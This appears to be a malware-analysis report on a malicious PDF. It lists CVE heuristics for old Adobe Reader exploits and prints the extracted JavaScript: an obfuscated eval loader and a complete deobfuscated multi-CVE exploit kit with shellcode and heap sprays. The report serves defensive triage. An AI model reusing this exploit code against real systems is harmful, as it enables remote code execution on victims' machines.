MALICIOUS
408
Risk Score
Malware Insights
The PDF document was flagged as suspicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, a common technique for executing malicious code within PDF files. The JavaScript action and embedded JS stream heuristics indicate that this script is likely intended to download and execute a second-stage payload, although the specific details of the script's execution could not be fully determined from the provided excerpt.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 9
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0x13805 | 401 bytes |
SHA-256: 90ab26157fe9394edc86b16612df7a0690335b5393c77debf1887d02141272ff |
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Preview scriptFirst 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var pkyc="";
aftyj='his';
frw='tit';
e('eszeq=t'+aftyj+"."+frw+t);
t='cer'
wgdyq='produ';
e('pydqg=t'+aftyj+"."+wgdyq+t);
idrz=e('St'+pydqg+'Code');
oqki = e(eszeq);
e('k=oqki.length');
for (i = 0; i < k; i+=2) {
xoun = oqki[i] + oqki[i+1];
pkyc += idrz(xoun);
}
e(pkyc);
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legacy_pdfkit_stage_000.js |
deobfuscated-js | metadata Title array pair-sum decoded JavaScript at offset 0x52 | 3636 bytes |
SHA-256: 96482e69e091d5bee78236668ca109c8a5777259e15eddf99762a9a51048395f |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u7d34%ue2aa%uc3fa%ue5e8%uffff%u94ff%u7c71%u7d7d%ufc23%u2191%u7d7c%uf47d%uf09a%u6d32%u12f0%u4c29%u2aa6%u2e2c%u2e2e%u2e2e%u2e2e%u2e28%u152e%u7c79%u7d7d%u2b28%u152e%u1312%u7d7d%u0815%u110f%u2910%uf315%u7333%u9591%u7d35%u7d7d%u952d%u7d01%u7d7d%uad82%ub9fe%u1575%u9232%u7832%u952d%u7d11%u7d7d%uad82%ubdf8%u6a08%u2917%u8e24%u15d7%u830f%u6bce%u6095%u7d7d%u2d7d%u2c95%u7d7d%u827d%u2ead%u8317%uf415%u7c12%u95c0%u7d75%u7d7d%u952d%u7d41%u7d7d%uad82%u4c1d%u19bd%u2df6%uf64d%u712f%u2ff6%uf669%u550f%u65c4%u7d7d%u4c7d%u4c82%ud1bd%u1c41%u7f01%u5d51%ub2bc%u7c70%u9fba%ufc8d%u2682%u37c1%uf617%u6d3f%u6ff6%ua408%u39f4%u6159%ube1c%uf61d%u5911%uf659%u4138%u29f6%u0578%u977c%u37f6%uf665%u5d27%u967c%u499e%uf634%uf649%u937c%u824c%ubd4c%ud181%ubdf9%u7a09%ub2bc%u7c70%u96ba%u4689%u5901%u0855%uf69c%u5927%u967c%uf61b%u3671%u27f6%u7c61%uf696%uf679%u957c%u39f4%u6159%ubf1c%u7d75%u9295%u8283%u1582%u0909%u470d%u5252%u0511%u080c%u1e53%u5312%u1e1e%u1252%u0d53%u0d15%u1b42%u4c40%u5b45%u4018%u7d48';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;}
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
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